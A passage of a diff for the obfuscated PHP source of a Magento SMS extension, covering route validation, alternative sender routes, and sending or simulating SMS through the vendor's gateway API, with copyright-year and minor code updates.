$i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $this->setInfo($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['datasrc']); } return parent::_beforeSave(); } public function _beforeDelete() { $i9bd2c88ca2206122845c5e189e2b6856a2409e3a = Mage::getModel('magesms/routes_alternative')->getCollection()->addFieldToFilter('route_id', $this->getId()); foreach($i9bd2c88ca2206122845c5e189e2b6856a2409e3a as $ida3b491904fb073f446bf820cd55a0ff69b347d1) $ida3b491904fb073f446bf820cd55a0ff69b347d1->delete(); return parent::_beforeDelete(); } public function validate($ia2537252e3e7dbac0ba1e1693e8531161842da87 = false) { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if ($this->getSendertype() == Topefekt_Magesms_Model_Routes::SENDER_TEXT && $ia2537252e3e7dbac0ba1e1693e8531161842da87 !== false) { if (!Zend_Validate::is($this->getData('senderID'), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } elseif (!Mage::helper('magesms')->isTextSender($this->getData('senderID'))) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function updatepricelist() { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = $this->getCollection(); foreach($ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec as $ice10b700e3771fcda63608142bce93b608228583) { $ice10b700e3771fcda63608142bce93b608228583->save(); } return $this; } }
app/code/community/Topefekt/Magesms/Model/Routes/Alternative.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Routes_Alternative extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/routes_alternative'); } public function validate() { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if (!Zend_Validate::is($this->getData('textsender'), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } elseif (!Mage::helper('magesms')->isTextSender($this->getData('textsender'))) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function _beforeSave() { $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } return parent::_beforeSave(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Routes_Alternative extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/routes_alternative'); } public function validate() { $ieeea3fa58a065e13acdb42aab551831a98e9444c = array(); $i0d09b2a4f282150bf47b02f9f3d82586fe313844 = Mage::helper('magesms'); if (!Zend_Validate::is($this->getData('textsender'), 'NotEmpty')) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } elseif (!$i0d09b2a4f282150bf47b02f9f3d82586fe313844->isTextSender($this->getData('textsender'))) { $ieeea3fa58a065e13acdb42aab551831a98e9444c[] = $i0d09b2a4f282150bf47b02f9f3d82586fe313844->__('possible characters: ').'a-z A-Z 0-9 _ .'; } if (empty($ieeea3fa58a065e13acdb42aab551831a98e9444c)) { return true; } return $ieeea3fa58a065e13acdb42aab551831a98e9444c; } public function _beforeSave() { $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } return parent::_beforeSave(); } }
app/code/community/Topefekt/Magesms/Model/Sms.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Sms extends Varien_Object { const SENT = 1; const ERROR = 2; const DELIVERED = 3; const UNAVAILABLE = 4; const SIMULATION = 5; const SCHEDULED = 6; const DELETED = 7; const DND = 8; const DUPLICATE = 9; const TYPE_ADMIN = 1; const TYPE_CUSTOMER = 2; const TYPE_MARKETING = 3; const TYPE_SIMPLE = 4; protected $_routes_type = array( self::TYPE_ADMIN => 'admin', self::TYPE_CUSTOMER => 'customer', self::TYPE_MARKETING => 'customer', self::TYPE_SIMPLE => 'customer'); private $v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = true; public function _construct() { $this->setData(array( 'recipient' => new Varien_Data_Collection(), 'message' => '', 'subject' => '', 'unicode' => false, 'sendlater' => false, 'type' => self::TYPE_SIMPLE, 'priority' => true, 'unique' => false, 'admin_id' => 0, 'customer_id' => 0, 'recipient_name' => '', 'store_id' => null )); parent::_construct(); } public function send() { ini_set('max_execution_time', 1200); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); try { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f = array(); if (!strlen($this->getMessage())) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('Fill in SMS text.'); } if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); if ($this->getSendlater()) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8284e7e828b5452004207db69edd7aa7ff0703ab = Mage::getModel('core/date')->gmtTimestamp(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8284e7e828b5452004207db69edd7aa7ff0703ab >= $this->getSendlater()) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('Wrong time of SMS sending.'); } if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); if (!count($this->getRecipient())) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('Recipients found: 0'); if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519 = html_entity_decode($this->getMessage(), ENT_QUOTES, 'UTF-8'); $if295547318143e26fc7026b92d58e3d1eec229db = Mage::helper('magesms')->countSms($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519, $this->getUnicode()); if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->simulatesms && count($this->getRecipient())*$if295547318143e26fc7026b92d58e3d1eec229db*0.05 > $ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->credit) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__('You do not have enough credit to send SMS to all ') .count($this->getRecipient()).Mage::helper('magesms')->__(' recipients.'); if (is_array($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f)) Mage::throwException($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbdd27a8dd714410289189d318feb96fe6ed8e07f[0]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d854b57231c05dbaa7f22331dbaed4152a402d2f1 = new Zend_Locale_Data(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d065c883e3f45e58104d21f8196ee3fe9bd2f513d = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d854b57231c05dbaa7f22331dbaed4152a402d2f1->getList('en-EN', 'phonetoterritory'); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2 = array('number'=>array(), 'isms'=>array(), 'sendertype'=>array(), 'senderID'=>array(), 'dnd'=>array(), 'admin_id'=>array(), 'customer_id'=>array(), 'recipient' => array(), 'data' => array()); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; foreach($this->getRecipient() as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getNumber(); $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getCountry() ? $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getCountry() : ''; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = ''; if ($i037b855bc01175f2c77d5c3e19eda9a0003feff4 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i037b855bc01175f2c77d5c3e19eda9a0003feff4] && !(strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, '+') === 0 || strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, '00') === 0)) { if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, '0') === 0) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, 1); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i037b855bc01175f2c77d5c3e19eda9a0003feff4]; } $i813c950729f632ca03f8c203c0a769de5e8bdf29 = Mage::helper('magesms')->prepareNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, $this->_routes_type[$this->getType()], $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, $this->getStoreId()); if(is_array($i813c950729f632ca03f8c203c0a769de5e8bdf29)) { if ($this->getUnique()) { if (in_array($i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile'], $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'])) continue; } $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['mobile']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getDnd(); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['isms']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['sendertype'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['sendertype']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][] = $i813c950729f632ca03f8c203c0a769de5e8bdf29['senderID']; $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getAdminId(); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getCustomerId(); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getRecipient(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->hasText()) { $i42745015bca99637011d2ba8a559beb3a8b0961f = html_entity_decode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d90bf5ab4e4ec7f89dc69f079d1a10e0bfa14c802->getText(), ENT_QUOTES, 'UTF-8'); $i42745015bca99637011d2ba8a559beb3a8b0961f = addslashes($i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace("&amp;", "%26", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace("&", "%26", $i42745015bca99637011d2ba8a559beb3a8b0961f); $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d] = $i42745015bca99637011d2ba8a559beb3a8b0961f; } } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->simulatesms) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); foreach($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039 => $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d H:i:s')); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(Mage::helper('magesms')->countSms($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039], $this->getUnicode())); } else { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal($if295547318143e26fc7026b92d58e3d1eec229db); } $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::SIMULATION); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType($this->getType()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('SMS SIMULATION (Sending of SMS was simulated. Recipient will not receive SMS)')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSmsid('simulate'.md5(microtime())); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSubject($this->getSubject()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setAdminId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d && !($ibcdf76f8c9ddc330c79f805116a8bb146c43749d % 10)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i5ee2fa256ff77dd811a9c1911f7563263a694e4b); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); if (count($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'])) Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('SMS was sent (simulation).')); $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = false; } else { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'username='.urlencode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user).'&password='.urlencode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->passwd) .'&unicode='.($this->getUnicode() ? 1 : 0); if ($this->getSendlater()) $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&datelater='.urlencode($this->getSendlater()); if ($this->getHookName()) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&HN='.$this->getHookName(); } if ($this->getPriority()) $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&action=sendsms&number='.urlencode($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][0]) .'&isms='.urlencode($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][0]).'&sender='.urlencode($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][0]); else { $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310 = array('number'=>array(), 'isms'=>array(), 'sendertype'=>array(), 'senderID'=>array(), 'dnd'=>array(), 'admin_id'=>array(), 'customer_id'=>array(), 'recipient' => array(), 'data' => array()); foreach ($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d=>$i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1) { if ($i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['number'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['isms'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['sendertype'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['sendertype'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['sendertype'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['senderID'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['dnd'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['dnd'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['admin_id'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['customer_id'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['recipient'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['data'][] = $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; unset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); } } $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2 = array_map('array_values', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938 = true; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120 = ''; foreach ($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'] as $i9998762c1837cb29ffc61a658599ac581a2bcf25) { if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120 = $i9998762c1837cb29ffc61a658599ac581a2bcf25; continue; } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd142d81574a8d8630ffd99db7dade811d2585120 != $i9998762c1837cb29ffc61a658599ac581a2bcf25) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938 = false; break; } } $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&action=sendsmsall'.(!$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938 && $this->getType() == self::TYPE_MARKETING ? '2' : '').'&number='.implode(';', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number']) .'&isms='.implode(';', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['isms']).'&sender='.implode(';', $if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID']); } if ($this->getType() == self::TYPE_MARKETING && !empty($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data']) && !$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd6b9938d7ea332907fac9b3d13e5e137a990f938) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; foreach ($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&data'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d.'='.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } } else { $i42745015bca99637011d2ba8a559beb3a8b0961f = html_entity_decode($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519, ENT_QUOTES, 'UTF-8'); $i42745015bca99637011d2ba8a559beb3a8b0961f = addslashes($i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace("&amp;", "%26", $i42745015bca99637011d2ba8a559beb3a8b0961f); $i42745015bca99637011d2ba8a559beb3a8b0961f = str_replace("&", "%26", $i42745015bca99637011d2ba8a559beb3a8b0961f); $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= '&data='.$i42745015bca99637011d2ba8a559beb3a8b0961f; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322, false); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720)) { if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749d55dd4e7042a1f9031b84f07f04c37165ce3d0720, 'QQQ___QQQ') !== false) 